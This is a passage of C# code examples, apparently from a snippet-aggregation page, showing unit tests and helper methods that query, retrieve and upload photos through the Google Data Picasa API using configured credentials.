                    m_albumName = null;
                }

            }
            this.is_disposed = true;
        }
Пример #27
0
        /////////////////////////////////////////////////////////////////////////////

        //////////////////////////////////////////////////////////////////////
        /// <summary>runs an authentication test, iterates all entries</summary> 
        //////////////////////////////////////////////////////////////////////
        [Test] public void QueryPhotosTest()
        {
            Tracing.TraceMsg("Entering PhotosQueryPhotosTest");

            PhotoQuery query = new PhotoQuery();
            PicasaService service = new PicasaService("unittests");
           
            if (this.defaultPhotosUri != null)
            {
                if (this.userName != null)
                {
                    service.Credentials = new GDataCredentials(this.userName, this.passWord);
                }

                GDataLoggingRequestFactory factory = (GDataLoggingRequestFactory) this.factory;
                factory.MethodOverride = true;
                service.RequestFactory = this.factory; 

                query.Uri = new Uri(this.defaultPhotosUri);
                PicasaFeed feed = service.Query(query);

                ObjectModelHelper.DumpAtomObject(feed,CreateDumpFileName("PhotoAuthTest")); 
     
                if (feed != null && feed.Entries.Count > 0)
                {
                    Tracing.TraceMsg("Found a Feed " + feed.ToString());
                    DisplayExtensions(feed);

                    foreach (PicasaEntry entry in feed.Entries)
                    {
                        Tracing.TraceMsg("Found an entry " + entry.ToString());
                        DisplayExtensions(entry);

                        GeoRssWhere w = entry.Location;
                        if (w != null)
                        {
                            Tracing.TraceMsg("Found an location " + w.Latitude + w.Longitude);
                        }

                        ExifTags tags = entry.Exif;
                        if (tags != null)
                        {
                            Tracing.TraceMsg("Found an exif block ");
                        }

                        MediaGroup group = entry.Media;
                        if (group != null)
                        {
                            Tracing.TraceMsg("Found a media Group");
                            if (group.Title != null)
                            {
                                Tracing.TraceMsg(group.Title.Value);
                            }
                            if (group.Keywords != null)
                            {
                                Tracing.TraceMsg(group.Keywords.Value);
                            }
                            if (group.Credit != null)
                            {
                                Tracing.TraceMsg(group.Credit.Value);
                            }
                            if (group.Description != null)
                            {
                                Tracing.TraceMsg(group.Description.Value);
                            }
                        }


                        PhotoAccessor photo = new PhotoAccessor(entry);

                        Assert.IsTrue(entry.IsPhoto, "this is a photo entry, it should have the kind set");
                        Assert.IsTrue(photo != null, "this is a photo entry, it should convert to PhotoEntry");

                        Assert.IsTrue(photo.AlbumId != null);
                        Assert.IsTrue(photo.Height > 0);
                        Assert.IsTrue(photo.Width > 0);
                    }
                }

                factory.MethodOverride = false;
            }
        }
Пример #28
0
        public static PicasaEntry RetrievePicasaEntry(string id)
        {
            PicasaService service = new PicasaService(Picasa_APPLICATION_NAME);
            service.setUserCredentials(config.Username, config.Password);

            PhotoQuery photoQuery = new PhotoQuery(PicasaQuery.CreatePicasaUri(config.Username, string.Empty, id));
            photoQuery.NumberToRetrieve = 1;
            PicasaFeed picasaFeed = service.Query(photoQuery);

            if (picasaFeed.Entries.Count > 0)
            {
                return  (PicasaEntry)picasaFeed.Entries[0];
            }

            return null;
        }
Пример #29
0
        /////////////////////////////////////////////////////////////////////////////



        //////////////////////////////////////////////////////////////////////
        /// <summary>runs an authentication test</summary> 
        //////////////////////////////////////////////////////////////////////
        [Test] public void PhotosAuthenticationTest()
        {
            Tracing.TraceMsg("Entering PhotosAuthenticationTest");

            PicasaQuery query = new PicasaQuery();
            PicasaService service = new PicasaService("unittests");
            query.KindParameter = "album,tag"; 
            
            if (this.defaultPhotosUri != null)
            {
                if (this.userName != null)
                {
                    service.Credentials = new GDataCredentials(this.userName, this.passWord);
                }

                query.Uri = new Uri(this.defaultPhotosUri);
                AtomFeed feed = service.Query(query);

                ObjectModelHelper.DumpAtomObject(feed,CreateDumpFileName("PhotoAuthTest")); 

                if (feed != null && feed.Entries.Count > 0)
                {
                    Tracing.TraceMsg("Found a Feed " + feed.ToString());
                    DisplayExtensions(feed);

                    foreach (AtomEntry entry in feed.Entries)
                    {
                        Tracing.TraceMsg("Found an entry " + entry.ToString());
                        DisplayExtensions(entry);
                    }
                }
            }
        }
Пример #30
0
        /// <summary>
        /// Do the actual upload to Picasa
        /// For more details on the available parameters, see: http://code.google.com/apis/picasaweb/docs/1.0/developers_guide_dotnet.html
        /// </summary>
        /// <param name="imageData">byte[] with image data</param>
        /// <returns>PicasaResponse</returns>
        public static PicasaInfo UploadToPicasa(byte[] imageData, string title, string filename, string contentType)
        {
            PicasaService service = new PicasaService(Picasa_APPLICATION_NAME);
            service.setUserCredentials(config.Username, config.Password);

            Uri postUri = new Uri(PicasaQuery.CreatePicasaUri(config.Username));

            // build the data stream
            Stream data = new MemoryStream(imageData);

            PicasaEntry entry = (PicasaEntry)service.Insert(postUri, data, contentType, filename);

            return RetrievePicasaInfo(entry);
        }